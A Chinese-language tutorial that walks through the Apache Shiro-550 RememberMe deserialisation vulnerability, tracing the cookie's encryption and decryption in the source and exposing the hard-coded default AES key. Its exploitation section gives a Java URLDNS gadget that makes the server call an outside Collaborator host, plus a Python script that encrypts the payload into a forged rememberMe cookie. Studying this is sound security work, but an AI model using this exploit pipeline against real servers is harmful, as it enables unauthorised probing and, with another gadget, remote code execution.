Java反序列化漏洞-Shiro550

漏洞原理:Apache Shiro框架提供了记住密码的功能(RememberMe),用户登录成功后会将用户的登录信息加密编码,然后存储在Cookie中。对于服务端,如果检测到用户的Cookie,首先会读取rememberMe的Cookie值,然后进行base64解码,然后进行AES解密再反序列化。

1. 加密流程分析

当我们勾选记住密码的选项之后,登录时断点打到DefaultSecurityManager.rememberMeSuccessfulLogin方法下

获取一个RememberMeManager对象之后进入onSuccessfulLogin方法

调用forgetIdentity()方法对subject进行处理,subject对象表示单个用户的状态和安全操作,包含认证、授权等,跟进

forgetIdentity()方法中,对subject进行了处理

我们继续跟进forgetIdentitygetCookie()方法获取请求的cookie,接着会进入到removeFrom()方法

跟进removeFrom()方法,removeForm主要在response头部添加字段Set-Cookie: rememberMe=deleteMe

然后我们再次回到onSuccessfulLogin方法中,如果设置了rememberMe则进入rememberIdentity方法

我们跟进看看后续怎么处理的,rememberIdentity方法中主要是两部分,一部分是convertPrincipalsToBytes方法用来清除之前的认证信息,并根据用户名生成新的Principal

我们跟进convertPrincipalsToBytes方法查看,发现主要干了两件事情

  1. 将我们的principals(用户名)序列化
  2. 对序列化之后的结果进行加密

我们继续跟进我们的加密算法encrypt,看看如何加密的

这里可以通过getCipherService获取的加密对象,看到是一个很明显的AES加密

那么我们跟进getEncryptionCipherKey()函数,发现加密密钥返回的是encryptionCipherKey

我们看看它是在哪里设置的,发现setEncryptionCipherKey函数是赋值的

setCipherKey()函数中对其进行赋值,而且赋值的是一个常量DEFAULT_CIPHER_KEY_BYTES

是一个写死的base64字符串

1
private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

让我们返回到刚刚的流程,convertPrincipalsToBytes之后进入我们的rememberSerializedIdentity部分

这里就是很简单的将结果base64加密,然后设置到cookie里面

至此,加密部分我们基本了解完毕:

1
序列化principals(用户名) -> 对结果进行AES加密 -> 对结果进行base64加密 -> 设置到cookie中

大致流程

2. 解密流程分析

我们登录之后利用burp重新发包,看看cookie是如何解密的,发包之后发现并没有断住,是因为除了cookie之外,它还通过JSESSIONID=C434C16E1B719C7DFC51E116A05638E3来鉴权,当存在JSESSIONID的时候不会触发反序列化

我们删除JSESSIONID=C434C16E1B719C7DFC51E116A05638E3再试一次

成功断在AbstractRememberMeManager.getRememberedPrincipals

我们进入getRememberedSerializedIdentity方法,看名字应该是处理反序列化的,它从我们的请求中读取base64加密之后的cookie

判断cookie是否被删除、确保base64字符串被正确的填充,最后将base64解码为字节数组

将字节数组返回到我们的getRememberedPrincipals方法中,然后调用convertBytesToPrincipals方法来从字节数组中获取我们的权限(Principals)

调用decrypt方法来AES解码,和上面加密步骤基本相同,密钥也是默认密钥

唯一值得注意的是我们的解密向量iv是根据传入的数据一起的

返回deserialize(bytes)的值,我们看看deserialize()方法,继续跟进发现调用的是默认的反序列化方法

一路走到readObject方法,触发反序列化

整体过程如下:

3. 利用

我们可以利用URLDNS链进行探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
//URLDNS.java

import java.io.*;
import java.util.HashMap;
import java.net.URL;
import java.lang.reflect.Field;

public class URLDNS {
public static void main(String[] args) throws Exception{
HashMap map=new HashMap();
URL url=new URL("http://vutze5lcx77o4jsznfpk1lwyvp1gp6dv.oastify.com");

Class clazz=Class.forName("java.net.URL");
Field hashcode=clazz.getDeclaredField("hashCode");
hashcode.setAccessible(true);
hashcode.set(url,123);
// System.out.println(hashcode.get(url));
map.put(url,"test");
hashcode.set(url,-1);

serialize(map);
// unserialize("ser.bin");


}
//序列化
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

//反序列化
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
Object object=ois.readObject();
return object;
}
}

编译运行

1
2
javac URLDNS.java
java URLDNS

在目录下生成了ser.bin的二进制文件,我们利用python脚本对其进行加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from Crypto.Cipher import AES
import uuid
import base64

def convert_bin(file):
with open(file,'rb') as f:
return f.read()


def AES_enc(data):
BS=AES.block_size
pad=lambda s:s+((BS-len(s)%BS)*chr(BS-len(s)%BS)).encode()
key="kPH+bIxk5D2deZiIxcaaaA=="
mode=AES.MODE_CBC
iv=uuid.uuid4().bytes
encryptor=AES.new(base64.b64decode(key),mode,iv)
ciphertext=base64.b64encode(iv+encryptor.encrypt(pad(data))).decode()
return ciphertext

if __name__=="__main__":
data=convert_bin("ser.bin")
print(AES_enc(data))

将序列化数据填入到cookie中,然后删除JSESSIONID,发送数据包

burp成功收到请求

参考文档: